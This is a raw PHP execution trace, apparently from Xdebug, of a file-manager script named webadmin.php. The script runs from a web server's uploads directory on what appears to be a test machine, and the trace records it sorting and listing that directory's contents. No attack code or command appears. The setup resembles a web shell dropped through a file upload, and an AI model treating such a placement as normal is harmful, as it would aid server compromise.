5 192 0 0.010195 800392 quicksort 1 /var/www/html/uploads/webadmin.php 952 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 0 'filename'
5 192 1 0.010246 800392
5 193 0 0.010253 800392 quicksort 1 /var/www/html/uploads/webadmin.php 953 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 1 2 'filename'
6 194 0 0.010296 800392 floor 0 /var/www/html/uploads/webadmin.php 929 1 1.5
6 194 1 0.010309 800424
6 194 R 1
5 A /var/www/html/uploads/webadmin.php 929 $cmp = '..'
5 A /var/www/html/uploads/webadmin.php 931 $l = 1
5 A /var/www/html/uploads/webadmin.php 932 $r = 2
5 A /var/www/html/uploads/webadmin.php 937 $r--
5 A /var/www/html/uploads/webadmin.php 941 $tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/webadmin.php 942 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/webadmin.php 943 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/webadmin.php 945 $l++
5 A /var/www/html/uploads/webadmin.php 946 $r--
6 195 0 0.010458 800392 quicksort 1 /var/www/html/uploads/webadmin.php 952 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 1 0 'filename'
6 195 1 0.010502 800392
6 196 0 0.010509 800392 quicksort 1 /var/www/html/uploads/webadmin.php 953 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 2 2 'filename'
6 196 1 0.010552 800392
5 193 1 0.010559 800392
4 190 1 0.010566 800392
4 197 0 0.010573 800416 sizeof 0 /var/www/html/uploads/webadmin.php 918 1 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 197 1 0.010618 800448
4 197 R 3
4 198 0 0.010631 800416 quicksort 1 /var/www/html/uploads/webadmin.php 918 4 [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 0 2 'filename'
5 199 0 0.010711 800416 floor 0 /var/www/html/uploads/webadmin.php 929 1 1
5 199 1 0.010725 800448
5 199 R 1
4 A /var/www/html/uploads/webadmin.php 929 $cmp = 'prepend.php'
4 A /var/www/html/uploads/webadmin.php 931 $l = 0
4 A /var/www/html/uploads/webadmin.php 932 $r = 2
4 A /var/www/html/uploads/webadmin.php 941 $tmp = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 A /var/www/html/uploads/webadmin.php 942 $array[0] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 943 $array[2] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 A /var/www/html/uploads/webadmin.php 945 $l++
4 A /var/www/html/uploads/webadmin.php 946 $r--
4 A /var/www/html/uploads/webadmin.php 941 $tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 942 $array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 943 $array[1] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/webadmin.php 945 $l++
4 A /var/www/html/uploads/webadmin.php 946 $r--
5 200 0 0.010969 800416 quicksort 1 /var/www/html/uploads/webadmin.php 952 4 [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']] 0 0 'filename'
5 200 1 0.011016 800416
5 201 0 0.011024 800416 quicksort 1 /var/www/html/uploads/webadmin.php 953 4 [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']] 2 2 'filename'
5 201 1 0.011069 800416
4 198 1 0.011076 800416
4 202 0 0.011083 800416 array_merge 0 /var/www/html/uploads/webadmin.php 921 2 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] [0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 202 1 0.011152 800856
4 202 R [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3 181 1 0.011225 799992
3 181 R [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
2 A /var/www/html/uploads/webadmin.php 1213 $list = [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3 203 0 0.011422 799616 listing 1 /var/www/html/uploads/webadmin.php 1214 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 204 0 0.011491 799616 column_title 1 /var/www/html/uploads/webadmin.php 1236 3 'filename' 'filename' FALSE
5 205 0 0.011507 799616 urlencode 0 /var/www/html/uploads/webadmin.php 1416 1 '/var/www/html/uploads/'
5 205 1 0.011521 799712
5 205 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
